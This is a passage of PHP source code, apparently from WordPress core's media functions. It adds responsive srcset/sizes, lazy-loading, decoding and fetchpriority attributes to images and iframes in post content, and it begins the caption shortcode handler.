	 * @param string|null  $image_src     The URL to the image file or null.
	 * @param array|null   $image_meta    The image meta data as returned by wp_get_attachment_metadata() or null.
	 * @param int          $attachment_id Image attachment ID of the original image or 0.
	 */
	return apply_filters( 'wp_calculate_image_sizes', $sizes, $size, $image_src, $image_meta, $attachment_id );
}

/**
 * Determines if the image meta data is for the image source file.
 *
 * The image meta data is retrieved by attachment post ID. In some cases the post IDs may change.
 * For example when the website is exported and imported at another website. Then the
 * attachment post IDs that are in post_content for the exported website may not match
 * the same attachments at the new website.
 *
 * @since 5.5.0
 *
 * @param string $image_location The full path or URI to the image file.
 * @param array  $image_meta     The attachment meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id  Optional. The image attachment ID. Default 0.
 * @return bool Whether the image meta is for this image file.
 */
function wp_image_file_matches_image_meta( $image_location, $image_meta, $attachment_id = 0 ) {
	$match = false;

	// Ensure the $image_meta is valid.
	if ( isset( $image_meta['file'] ) && strlen( $image_meta['file'] ) > 4 ) {
		// Remove query args in image URI.
		list( $image_location ) = explode( '?', $image_location );

		// Check if the relative image path from the image meta is at the end of $image_location.
		if ( strrpos( $image_location, $image_meta['file'] ) === strlen( $image_location ) - strlen( $image_meta['file'] ) ) {
			$match = true;
		} else {
			// Retrieve the uploads sub-directory from the full size image.
			$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );

			if ( $dirname ) {
				$dirname = trailingslashit( $dirname );
			}

			if ( ! empty( $image_meta['original_image'] ) ) {
				$relative_path = $dirname . $image_meta['original_image'];

				if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) {
					$match = true;
				}
			}

			if ( ! $match && ! empty( $image_meta['sizes'] ) ) {
				foreach ( $image_meta['sizes'] as $image_size_data ) {
					$relative_path = $dirname . $image_size_data['file'];

					if ( strrpos( $image_location, $relative_path ) === strlen( $image_location ) - strlen( $relative_path ) ) {
						$match = true;
						break;
					}
				}
			}
		}
	}

	/**
	 * Filters whether an image path or URI matches image meta.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $match          Whether the image relative path from the image meta
	 *                               matches the end of the URI or path to the image file.
	 * @param string $image_location Full path or URI to the tested image file.
	 * @param array  $image_meta     The image meta data as returned by 'wp_get_attachment_metadata()'.
	 * @param int    $attachment_id  The image attachment ID or 0 if not supplied.
	 */
	return apply_filters( 'wp_image_file_matches_image_meta', $match, $image_location, $image_meta, $attachment_id );
}

/**
 * Determines an image's width and height dimensions based on the source file.
 *
 * @since 5.5.0
 *
 * @param string $image_src     The image source file.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Optional. The image attachment ID. Default 0.
 * @return array|false Array with first element being the width and second element being the height,
 *                     or false if dimensions cannot be determined.
 */
function wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id = 0 ) {
	$dimensions = false;

	// Is it a full size image?
	if (
		isset( $image_meta['file'] ) &&
		str_contains( $image_src, wp_basename( $image_meta['file'] ) )
	) {
		$dimensions = array(
			(int) $image_meta['width'],
			(int) $image_meta['height'],
		);
	}

	if ( ! $dimensions && ! empty( $image_meta['sizes'] ) ) {
		$src_filename = wp_basename( $image_src );

		foreach ( $image_meta['sizes'] as $image_size_data ) {
			if ( $src_filename === $image_size_data['file'] ) {
				$dimensions = array(
					(int) $image_size_data['width'],
					(int) $image_size_data['height'],
				);

				break;
			}
		}
	}

	/**
	 * Filters the 'wp_image_src_get_dimensions' value.
	 *
	 * @since 5.7.0
	 *
	 * @param array|false $dimensions    Array with first element being the width
	 *                                   and second element being the height, or
	 *                                   false if dimensions could not be determined.
	 * @param string      $image_src     The image source file.
	 * @param array       $image_meta    The image meta data as returned by
	 *                                   'wp_get_attachment_metadata()'.
	 * @param int         $attachment_id The image attachment ID. Default 0.
	 */
	return apply_filters( 'wp_image_src_get_dimensions', $dimensions, $image_src, $image_meta, $attachment_id );
}

/**
 * Adds 'srcset' and 'sizes' attributes to an existing 'img' element.
 *
 * @since 4.4.0
 *
 * @see wp_calculate_image_srcset()
 * @see wp_calculate_image_sizes()
 *
 * @param string $image         An HTML 'img' element to be filtered.
 * @param array  $image_meta    The image meta data as returned by 'wp_get_attachment_metadata()'.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'srcset' and 'sizes' attributes added.
 */
function wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id ) {
	// Ensure the image meta exists.
	if ( empty( $image_meta['sizes'] ) ) {
		return $image;
	}

	$image_src         = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : '';
	list( $image_src ) = explode( '?', $image_src );

	// Return early if we couldn't get the image source.
	if ( ! $image_src ) {
		return $image;
	}

	// Bail early if an image has been inserted and later edited.
	if ( preg_match( '/-e[0-9]{13}/', $image_meta['file'], $img_edit_hash )
		&& ! str_contains( wp_basename( $image_src ), $img_edit_hash[0] )
	) {
		return $image;
	}

	$width  = preg_match( '/ width="([0-9]+)"/', $image, $match_width ) ? (int) $match_width[1] : 0;
	$height = preg_match( '/ height="([0-9]+)"/', $image, $match_height ) ? (int) $match_height[1] : 0;

	if ( $width && $height ) {
		$size_array = array( $width, $height );
	} else {
		$size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id );
		if ( ! $size_array ) {
			return $image;
		}
	}

	$srcset = wp_calculate_image_srcset( $size_array, $image_src, $image_meta, $attachment_id );

	if ( $srcset ) {
		// Check if there is already a 'sizes' attribute.
		$sizes = strpos( $image, ' sizes=' );

		if ( ! $sizes ) {
			$sizes = wp_calculate_image_sizes( $size_array, $image_src, $image_meta, $attachment_id );
		}
	}

	if ( $srcset && $sizes ) {
		// Format the 'srcset' and 'sizes' string and escape attributes.
		$attr = sprintf( ' srcset="%s"', esc_attr( $srcset ) );

		if ( is_string( $sizes ) ) {
			$attr .= sprintf( ' sizes="%s"', esc_attr( $sizes ) );
		}

		// Add the srcset and sizes attributes to the image markup.
		return preg_replace( '/<img ([^>]+?)[\/ ]*>/', '<img $1' . $attr . ' />', $image );
	}

	return $image;
}

/**
 * Determines whether to add the `loading` attribute to the specified tag in the specified context.
 *
 * @since 5.5.0
 * @since 5.7.0 Now returns `true` by default for `iframe` tags.
 *
 * @param string $tag_name The tag name.
 * @param string $context  Additional context, like the current filter name
 *                         or the function name from where this was called.
 * @return bool Whether to add the attribute.
 */
function wp_lazy_loading_enabled( $tag_name, $context ) {
	/*
	 * By default add to all 'img' and 'iframe' tags.
	 * See https://html.spec.whatwg.org/multipage/embedded-content.html#attr-img-loading
	 * See https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-loading
	 */
	$default = ( 'img' === $tag_name || 'iframe' === $tag_name );

	/**
	 * Filters whether to add the `loading` attribute to the specified tag in the specified context.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $default  Default value.
	 * @param string $tag_name The tag name.
	 * @param string $context  Additional context, like the current filter name
	 *                         or the function name from where this was called.
	 */
	return (bool) apply_filters( 'wp_lazy_loading_enabled', $default, $tag_name, $context );
}

/**
 * Filters specific tags in post content and modifies their markup.
 *
 * Modifies HTML tags in post content to include new browser and HTML technologies
 * that may not have existed at the time of post creation. These modifications currently
 * include adding `srcset`, `sizes`, and `loading` attributes to `img` HTML tags, as well
 * as adding `loading` attributes to `iframe` HTML tags.
 * Future similar optimizations should be added/expected here.
 *
 * @since 5.5.0
 * @since 5.7.0 Now supports adding `loading` attributes to `iframe` tags.
 *
 * @see wp_img_tag_add_width_and_height_attr()
 * @see wp_img_tag_add_srcset_and_sizes_attr()
 * @see wp_img_tag_add_loading_optimization_attrs()
 * @see wp_iframe_tag_add_loading_attr()
 *
 * @param string $content The HTML content to be filtered.
 * @param string $context Optional. Additional context to pass to the filters.
 *                        Defaults to `current_filter()` when not set.
 * @return string Converted content with images modified.
 */
function wp_filter_content_tags( $content, $context = null ) {
	if ( null === $context ) {
		$context = current_filter();
	}

	$add_iframe_loading_attr = wp_lazy_loading_enabled( 'iframe', $context );

	if ( ! preg_match_all( '/<(img|iframe)\s[^>]+>/', $content, $matches, PREG_SET_ORDER ) ) {
		return $content;
	}

	// List of the unique `img` tags found in $content.
	$images = array();

	// List of the unique `iframe` tags found in $content.
	$iframes = array();

	foreach ( $matches as $match ) {
		list( $tag, $tag_name ) = $match;

		switch ( $tag_name ) {
			case 'img':
				if ( preg_match( '/wp-image-([0-9]+)/i', $tag, $class_id ) ) {
					$attachment_id = absint( $class_id[1] );

					if ( $attachment_id ) {
						/*
						 * If exactly the same image tag is used more than once, overwrite it.
						 * All identical tags will be replaced later with 'str_replace()'.
						 */
						$images[ $tag ] = $attachment_id;
						break;
					}
				}
				$images[ $tag ] = 0;
				break;
			case 'iframe':
				$iframes[ $tag ] = 0;
				break;
		}
	}

	// Reduce the array to unique attachment IDs.
	$attachment_ids = array_unique( array_filter( array_values( $images ) ) );

	if ( count( $attachment_ids ) > 1 ) {
		/*
		 * Warm the object cache with post and meta information for all found
		 * images to avoid making individual database calls.
		 */
		_prime_post_caches( $attachment_ids, false, true );
	}

	// Iterate through the matches in order of occurrence as it is relevant for whether or not to lazy-load.
	foreach ( $matches as $match ) {
		// Filter an image match.
		if ( isset( $images[ $match[0] ] ) ) {
			$filtered_image = $match[0];
			$attachment_id  = $images[ $match[0] ];

			// Add 'width' and 'height' attributes if applicable.
			if ( $attachment_id > 0 && ! str_contains( $filtered_image, ' width=' ) && ! str_contains( $filtered_image, ' height=' ) ) {
				$filtered_image = wp_img_tag_add_width_and_height_attr( $filtered_image, $context, $attachment_id );
			}

			// Add 'srcset' and 'sizes' attributes if applicable.
			if ( $attachment_id > 0 && ! str_contains( $filtered_image, ' srcset=' ) ) {
				$filtered_image = wp_img_tag_add_srcset_and_sizes_attr( $filtered_image, $context, $attachment_id );
			}

			// Add loading optimization attributes if applicable.
			$filtered_image = wp_img_tag_add_loading_optimization_attrs( $filtered_image, $context );

			// Adds 'auto' to the sizes attribute if applicable.
			$filtered_image = wp_img_tag_add_auto_sizes( $filtered_image );

			/**
			 * Filters an img tag within the content for a given context.
			 *
			 * @since 6.0.0
			 *
			 * @param string $filtered_image Full img tag with attributes that will replace the source img tag.
			 * @param string $context        Additional context, like the current filter name or the function name from where this was called.
			 * @param int    $attachment_id  The image attachment ID. May be 0 in case the image is not an attachment.
			 */
			$filtered_image = apply_filters( 'wp_content_img_tag', $filtered_image, $context, $attachment_id );

			if ( $filtered_image !== $match[0] ) {
				$content = str_replace( $match[0], $filtered_image, $content );
			}

			/*
			 * Unset image lookup to not run the same logic again unnecessarily if the same image tag is used more than
			 * once in the same blob of content.
			 */
			unset( $images[ $match[0] ] );
		}

		// Filter an iframe match.
		if ( isset( $iframes[ $match[0] ] ) ) {
			$filtered_iframe = $match[0];

			// Add 'loading' attribute if applicable.
			if ( $add_iframe_loading_attr && ! str_contains( $filtered_iframe, ' loading=' ) ) {
				$filtered_iframe = wp_iframe_tag_add_loading_attr( $filtered_iframe, $context );
			}

			if ( $filtered_iframe !== $match[0] ) {
				$content = str_replace( $match[0], $filtered_iframe, $content );
			}

			/*
			 * Unset iframe lookup to not run the same logic again unnecessarily if the same iframe tag is used more
			 * than once in the same blob of content.
			 */
			unset( $iframes[ $match[0] ] );
		}
	}

	return $content;
}

/**
 * Adds 'auto' to the sizes attribute to the image, if the image is lazy loaded and does not already include it.
 *
 * @since 6.7.0
 *
 * @param string $image The image tag markup being filtered.
 * @return string The filtered image tag markup.
 */
function wp_img_tag_add_auto_sizes( string $image ): string {
	/**
	 * Filters whether auto-sizes for lazy loaded images is enabled.
	 *
	 * @since 6.7.1
	 *
	 * @param boolean $enabled Whether auto-sizes for lazy loaded images is enabled.
	 */
	if ( ! apply_filters( 'wp_img_tag_add_auto_sizes', true ) ) {
		return $image;
	}

	$processor = new WP_HTML_Tag_Processor( $image );

	// Bail if there is no IMG tag.
	if ( ! $processor->next_tag( array( 'tag_name' => 'IMG' ) ) ) {
		return $image;
	}

	// Bail early if the image is not lazy-loaded.
	$loading = $processor->get_attribute( 'loading' );
	if ( ! is_string( $loading ) || 'lazy' !== strtolower( trim( $loading, " \t\f\r\n" ) ) ) {
		return $image;
	}

	/*
	 * Bail early if the image doesn't have a width attribute.
	 * Per WordPress Core itself, lazy-loaded images should always have a width attribute.
	 * However, it is possible that lazy-loading could be added by a plugin, where we don't have that guarantee.
	 * As such, it still makes sense to ensure presence of a width attribute here in order to use `sizes=auto`.
	 */
	$width = $processor->get_attribute( 'width' );
	if ( ! is_string( $width ) || '' === $width ) {
		return $image;
	}

	$sizes = $processor->get_attribute( 'sizes' );

	// Bail early if the image is not responsive.
	if ( ! is_string( $sizes ) ) {
		return $image;
	}

	// Don't add 'auto' to the sizes attribute if it already exists.
	if ( wp_sizes_attribute_includes_valid_auto( $sizes ) ) {
		return $image;
	}

	$processor->set_attribute( 'sizes', "auto, $sizes" );
	return $processor->get_updated_html();
}

/**
 * Checks whether the given 'sizes' attribute includes the 'auto' keyword as the first item in the list.
 *
 * Per the HTML spec, if present it must be the first entry.
 *
 * @since 6.7.0
 *
 * @param string $sizes_attr The 'sizes' attribute value.
 * @return bool True if the 'auto' keyword is present, false otherwise.
 */
function wp_sizes_attribute_includes_valid_auto( string $sizes_attr ): bool {
	list( $first_size ) = explode( ',', $sizes_attr, 2 );
	return 'auto' === strtolower( trim( $first_size, " \t\f\r\n" ) );
}

/**
 * Enqueues a CSS rule to fix potential visual issues with images using `sizes=auto`.
 *
 * This rule overrides the similar rule in the default user agent stylesheet, to avoid images that use e.g.
 * `width: auto` or `width: fit-content` to appear smaller.
 *
 * @since 6.9.0
 *
 * @see https://html.spec.whatwg.org/multipage/rendering.html#img-contain-size
 * @see https://core.trac.wordpress.org/ticket/62413
 * @see https://core.trac.wordpress.org/ticket/62731
 */
function wp_enqueue_img_auto_sizes_contain_css_fix(): void {
	// Back-compat for plugins that disable functionality by unhooking this action.
	$priority = has_action( 'wp_head', 'wp_print_auto_sizes_contain_css_fix' );
	if ( false === $priority ) {
		return;
	}
	remove_action( 'wp_head', 'wp_print_auto_sizes_contain_css_fix', $priority );

	/** This filter is documented in wp-includes/media.php */
	$add_auto_sizes = apply_filters( 'wp_img_tag_add_auto_sizes', true );
	if ( ! $add_auto_sizes ) {
		return;
	}

	$handle = 'wp-img-auto-sizes-contain';
	wp_register_style( $handle, false );
	wp_add_inline_style( $handle, 'img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}' );

	// Make sure inline style is printed first since it was previously printed at wp_head priority 1 and this preserves the CSS cascade.
	array_unshift( wp_styles()->queue, $handle );
}

/**
 * Adds optimization attributes to an `img` HTML tag.
 *
 * @since 6.3.0
 *
 * @param string $image   The HTML `img` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `img` tag with optimization attributes added.
 */
function wp_img_tag_add_loading_optimization_attrs( $image, $context ) {
	$src               = preg_match( '/ src=["\']?([^"\']*)/i', $image, $matche_src ) ? $matche_src[1] : null;
	$width             = preg_match( '/ width=["\']([0-9]+)["\']/', $image, $match_width ) ? (int) $match_width[1] : null;
	$height            = preg_match( '/ height=["\']([0-9]+)["\']/', $image, $match_height ) ? (int) $match_height[1] : null;
	$loading_val       = preg_match( '/ loading=["\']([A-Za-z]+)["\']/', $image, $match_loading ) ? $match_loading[1] : null;
	$fetchpriority_val = preg_match( '/ fetchpriority=["\']([A-Za-z]+)["\']/', $image, $match_fetchpriority ) ? $match_fetchpriority[1] : null;
	$decoding_val      = preg_match( '/ decoding=["\']([A-Za-z]+)["\']/', $image, $match_decoding ) ? $match_decoding[1] : null;

	/*
	 * Get loading optimization attributes to use.
	 * This must occur before the conditional check below so that even images
	 * that are ineligible for being lazy-loaded are considered.
	 */
	$optimization_attrs = wp_get_loading_optimization_attributes(
		'img',
		array(
			'src'           => $src,
			'width'         => $width,
			'height'        => $height,
			'loading'       => $loading_val,
			'fetchpriority' => $fetchpriority_val,
			'decoding'      => $decoding_val,
		),
		$context
	);

	// Images should have source for the loading optimization attributes to be added.
	if ( ! str_contains( $image, ' src="' ) ) {
		return $image;
	}

	if ( empty( $decoding_val ) ) {
		/**
		 * Filters the `decoding` attribute value to add to an image. Default `async`.
		 *
		 * Returning a falsey value will omit the attribute.
		 *
		 * @since 6.1.0
		 *
		 * @param string|false|null $value   The `decoding` attribute value. Returning a falsey value
		 *                                   will result in the attribute being omitted for the image.
		 *                                   Otherwise, it may be: 'async', 'sync', or 'auto'. Defaults to false.
		 * @param string            $image   The HTML `img` tag to be filtered.
		 * @param string            $context Additional context about how the function was called
		 *                                   or where the img tag is.
		 */
		$filtered_decoding_attr = apply_filters(
			'wp_img_tag_add_decoding_attr',
			isset( $optimization_attrs['decoding'] ) ? $optimization_attrs['decoding'] : false,
			$image,
			$context
		);

		// Validate the values after filtering.
		if ( isset( $optimization_attrs['decoding'] ) && ! $filtered_decoding_attr ) {
			// Unset `decoding` attribute if `$filtered_decoding_attr` is set to `false`.
			unset( $optimization_attrs['decoding'] );
		} elseif ( in_array( $filtered_decoding_attr, array( 'async', 'sync', 'auto' ), true ) ) {
			$optimization_attrs['decoding'] = $filtered_decoding_attr;
		}

		if ( ! empty( $optimization_attrs['decoding'] ) ) {
			$image = str_replace( '<img', '<img decoding="' . esc_attr( $optimization_attrs['decoding'] ) . '"', $image );
		}
	}

	// Images should have dimension attributes for the 'loading' and 'fetchpriority' attributes to be added.
	if ( ! str_contains( $image, ' width="' ) || ! str_contains( $image, ' height="' ) ) {
		return $image;
	}

	// Retained for backward compatibility.
	$loading_attrs_enabled = wp_lazy_loading_enabled( 'img', $context );

	if ( empty( $loading_val ) && $loading_attrs_enabled ) {
		/**
		 * Filters the `loading` attribute value to add to an image. Default `lazy`.
		 *
		 * Returning `false` or an empty string will not add the attribute.
		 * Returning `true` will add the default value.
		 *
		 * @since 5.5.0
		 *
		 * @param string|bool $value   The `loading` attribute value. Returning a falsey value will result in
		 *                             the attribute being omitted for the image.
		 * @param string      $image   The HTML `img` tag to be filtered.
		 * @param string      $context Additional context about how the function was called or where the img tag is.
		 */
		$filtered_loading_attr = apply_filters(
			'wp_img_tag_add_loading_attr',
			isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false,
			$image,
			$context
		);

		// Validate the values after filtering.
		if ( isset( $optimization_attrs['loading'] ) && ! $filtered_loading_attr ) {
			// Unset `loading` attributes if `$filtered_loading_attr` is set to `false`.
			unset( $optimization_attrs['loading'] );
		} elseif ( in_array( $filtered_loading_attr, array( 'lazy', 'eager' ), true ) ) {
			/*
			 * If the filter changed the loading attribute to "lazy" when a fetchpriority attribute
			 * with value "high" is already present, trigger a warning since those two attribute
			 * values should be mutually exclusive.
			 *
			 * The same warning is present in `wp_get_loading_optimization_attributes()`, and here it
			 * is only intended for the specific scenario where the above filtered caused the problem.
			 */
			if ( isset( $optimization_attrs['fetchpriority'] ) && 'high' === $optimization_attrs['fetchpriority'] &&
				( isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false ) !== $filtered_loading_attr &&
				'lazy' === $filtered_loading_attr
			) {
				_doing_it_wrong(
					__FUNCTION__,
					__( 'An image should not be lazy-loaded and marked as high priority at the same time.' ),
					'6.3.0'
				);
			}

			// The filtered value will still be respected.
			$optimization_attrs['loading'] = $filtered_loading_attr;
		}

		if ( ! empty( $optimization_attrs['loading'] ) ) {
			$image = str_replace( '<img', '<img loading="' . esc_attr( $optimization_attrs['loading'] ) . '"', $image );
		}
	}

	if ( empty( $fetchpriority_val ) && ! empty( $optimization_attrs['fetchpriority'] ) ) {
		$image = str_replace( '<img', '<img fetchpriority="' . esc_attr( $optimization_attrs['fetchpriority'] ) . '"', $image );
	}

	return $image;
}

/**
 * Adds `width` and `height` attributes to an `img` HTML tag.
 *
 * @since 5.5.0
 *
 * @param string $image         The HTML `img` tag where the attribute should be added.
 * @param string $context       Additional context to pass to the filters.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'width' and 'height' attributes added.
 */
function wp_img_tag_add_width_and_height_attr( $image, $context, $attachment_id ) {
	$image_src         = preg_match( '/src="([^"]+)"/', $image, $match_src ) ? $match_src[1] : '';
	list( $image_src ) = explode( '?', $image_src );

	// Return early if we couldn't get the image source.
	if ( ! $image_src ) {
		return $image;
	}

	/**
	 * Filters whether to add the missing `width` and `height` HTML attributes to the img tag. Default `true`.
	 *
	 * Returning anything else than `true` will not add the attributes.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $value         The filtered value, defaults to `true`.
	 * @param string $image         The HTML `img` tag where the attribute should be added.
	 * @param string $context       Additional context about how the function was called or where the img tag is.
	 * @param int    $attachment_id The image attachment ID.
	 */
	$add = apply_filters( 'wp_img_tag_add_width_and_height_attr', true, $image, $context, $attachment_id );

	if ( true === $add ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
		$size_array = wp_image_src_get_dimensions( $image_src, $image_meta, $attachment_id );

		if ( $size_array && $size_array[0] && $size_array[1] ) {
			// If the width is enforced through style (e.g. in an inline image), calculate the dimension attributes.
			$style_width = preg_match( '/style="width:\s*(\d+)px;"/', $image, $match_width ) ? (int) $match_width[1] : 0;
			if ( $style_width ) {
				$size_array[1] = (int) round( $size_array[1] * $style_width / $size_array[0] );
				$size_array[0] = $style_width;
			}

			$hw = trim( image_hwstring( $size_array[0], $size_array[1] ) );
			return str_replace( '<img', "<img {$hw}", $image );
		}
	}

	return $image;
}

/**
 * Adds `srcset` and `sizes` attributes to an existing `img` HTML tag.
 *
 * @since 5.5.0
 *
 * @param string $image         The HTML `img` tag where the attribute should be added.
 * @param string $context       Additional context to pass to the filters.
 * @param int    $attachment_id Image attachment ID.
 * @return string Converted 'img' element with 'loading' attribute added.
 */
function wp_img_tag_add_srcset_and_sizes_attr( $image, $context, $attachment_id ) {
	/**
	 * Filters whether to add the `srcset` and `sizes` HTML attributes to the img tag. Default `true`.
	 *
	 * Returning anything else than `true` will not add the attributes.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $value         The filtered value, defaults to `true`.
	 * @param string $image         The HTML `img` tag where the attribute should be added.
	 * @param string $context       Additional context about how the function was called or where the img tag is.
	 * @param int    $attachment_id The image attachment ID.
	 */
	$add = apply_filters( 'wp_img_tag_add_srcset_and_sizes_attr', true, $image, $context, $attachment_id );

	if ( true === $add ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
		return wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id );
	}

	return $image;
}

/**
 * Adds `loading` attribute to an `iframe` HTML tag.
 *
 * @since 5.7.0
 *
 * @param string $iframe  The HTML `iframe` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `iframe` tag with `loading` attribute added.
 */
function wp_iframe_tag_add_loading_attr( $iframe, $context ) {
	/*
	 * Get loading attribute value to use. This must occur before the conditional check below so that even iframes that
	 * are ineligible for being lazy-loaded are considered.
	 */
	$optimization_attrs = wp_get_loading_optimization_attributes(
		'iframe',
		array(
			/*
			 * The concrete values for width and height are not important here for now
			 * since fetchpriority is not yet supported for iframes.
			 * TODO: Use WP_HTML_Tag_Processor to extract actual values once support is
			 * added.
			 */
			'width'   => str_contains( $iframe, ' width="' ) ? 100 : null,
			'height'  => str_contains( $iframe, ' height="' ) ? 100 : null,
			// This function is never called when a 'loading' attribute is already present.
			'loading' => null,
		),
		$context
	);

	// Iframes should have source and dimension attributes for the `loading` attribute to be added.
	if ( ! str_contains( $iframe, ' src="' ) || ! str_contains( $iframe, ' width="' ) || ! str_contains( $iframe, ' height="' ) ) {
		return $iframe;
	}

	$value = isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false;

	/**
	 * Filters the `loading` attribute value to add to an iframe. Default `lazy`.
	 *
	 * Returning `false` or an empty string will not add the attribute.
	 * Returning `true` will add the default value.
	 *
	 * @since 5.7.0
	 *
	 * @param string|bool $value   The `loading` attribute value. Returning a falsey value will result in
	 *                             the attribute being omitted for the iframe.
	 * @param string      $iframe  The HTML `iframe` tag to be filtered.
	 * @param string      $context Additional context about how the function was called or where the iframe tag is.
	 */
	$value = apply_filters( 'wp_iframe_tag_add_loading_attr', $value, $iframe, $context );

	if ( $value ) {
		if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) {
			$value = 'lazy';
		}

		return str_replace( '<iframe', '<iframe loading="' . esc_attr( $value ) . '"', $iframe );
	}

	return $iframe;
}

/**
 * Adds a 'wp-post-image' class to post thumbnails. Internal use only.
 *
 * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'}
 * action hooks to dynamically add/remove itself so as to only filter post thumbnails.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 * @return string[] Modified array of attributes including the new 'wp-post-image' class.
 */
function _wp_post_thumbnail_class_filter( $attr ) {
	$attr['class'] .= ' wp-post-image';
	return $attr;
}

/**
 * Adds '_wp_post_thumbnail_class_filter' callback to the 'wp_get_attachment_image_attributes'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 */
function _wp_post_thumbnail_class_filter_add( $attr ) {
	add_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
}

/**
 * Removes the '_wp_post_thumbnail_class_filter' callback from the 'wp_get_attachment_image_attributes'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 */
function _wp_post_thumbnail_class_filter_remove( $attr ) {
	remove_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
}

/**
 * Overrides the context used in {@see wp_get_attachment_image()}. Internal use only.
 *
 * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'}
 * action hooks to dynamically add/remove itself so as to only filter post thumbnails.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 *
 * @param string $context The context for rendering an attachment image.
 * @return string Modified context set to 'the_post_thumbnail'.
 */
function _wp_post_thumbnail_context_filter( $context ) {
	return 'the_post_thumbnail';
}

/**
 * Adds the '_wp_post_thumbnail_context_filter' callback to the 'wp_get_attachment_image_context'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 */
function _wp_post_thumbnail_context_filter_add() {
	add_filter( 'wp_get_attachment_image_context', '_wp_post_thumbnail_context_filter' );
}

/**
 * Removes the '_wp_post_thumbnail_context_filter' callback from the 'wp_get_attachment_image_context'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 */
function _wp_post_thumbnail_context_filter_remove() {
	remove_filter( 'wp_get_attachment_image_context', '_wp_post_thumbnail_context_filter' );
}

add_shortcode( 'wp_caption', 'img_caption_shortcode' );
add_shortcode( 'caption', 'img_caption_shortcode' );

/**
 * Builds the Caption shortcode output.
 *
 * Allows a plugin to replace the content that would otherwise be returned. The
 * filter is {@see 'img_caption_shortcode'} and passes an empty string, the attr
 * parameter and the content parameter values.
 *
 * The supported attributes for the shortcode are 'id', 'caption_id', 'align',
 * 'width', 'caption', and 'class'.
 *
 * @since 2.6.0
 * @since 3.9.0 The `class` attribute was added.
 * @since 5.1.0 The `caption_id` attribute was added.
 * @since 5.9.0 The `$content` parameter default value changed from `null` to `''`.
 *
 * @param array  $attr {
 *     Attributes of the caption shortcode.
 *
 *     @type string $id         ID of the image and caption container element, i.e. `<figure>` or `<div>`.
 *     @type string $caption_id ID of the caption element, i.e. `<figcaption>` or `<p>`.
 *     @type string $align      Class name that aligns the caption. Default 'alignnone'. Accepts 'alignleft',
 *                              'aligncenter', alignright', 'alignnone'.
 *     @type int    $width      The width of the caption, in pixels.
 *     @type string $caption    The caption text.
 *     @type string $class      Additional class name(s) added to the caption container.
 * }
 * @param string $content Optional. Shortcode content. Default empty string.
 * @return string HTML content to display the caption.
 */
function img_caption_shortcode( $attr, $content = '' ) {
	// New-style shortcode with the caption inside the shortcode with the link and image tags.
	if ( ! isset( $attr['caption'] ) ) {
		if ( preg_match( '#((?:<a [^>]+>\s*)?<img [^>]+>(?:\s*</a>)?)(.*)#is', $content, $matches ) ) {
			$content         = $matches[1];
			$attr['caption'] = trim( $matches[2] );
		}
	} elseif ( str_contains( $attr['caption'], '<' ) ) {
		$attr['caption'] = wp_kses( $attr['caption'], 'post' );
	}

	/**
	 * Filters the default caption shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default caption template.
	 *
	 * @since 2.6.0
	 *
	 * @see img_caption_shortcode()
	 *
	 * @param string $output  The caption output. Default empty.
	 * @param array  $attr    Attributes of the caption shortcode.
	 * @param string $content The image element, possibly wrapped in a hyperlink.
	 */
	$output = apply_filters( 'img_caption_shortcode', '', $attr, $content );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$atts = shortcode_atts(
		array(
			'id'         => '',
			'caption_id' => '',
			'align'      => 'alignnone',
			'width'      => '',
			'caption'    => '',
			'class'      => '',
		),
		$attr,
		'caption'
	);

	$atts['width'] = (int) $atts['width'];

	if ( $atts['width'] < 1 || empty( $atts['caption'] ) ) {
		return $content;
	}

	$id          = '';
	$caption_id  = '';
	$describedby = '';

	if ( $atts['id'] ) {
		$atts['id'] = sanitize_html_class( $atts['id'] );
		$id         = 'id="' . esc_attr( $atts['id'] ) . '" ';
	}

	if ( $atts['caption_id'] ) {
		$atts['caption_id'] = sanitize_html_class( $atts['caption_id'] );
	} elseif ( $atts['id'] ) {
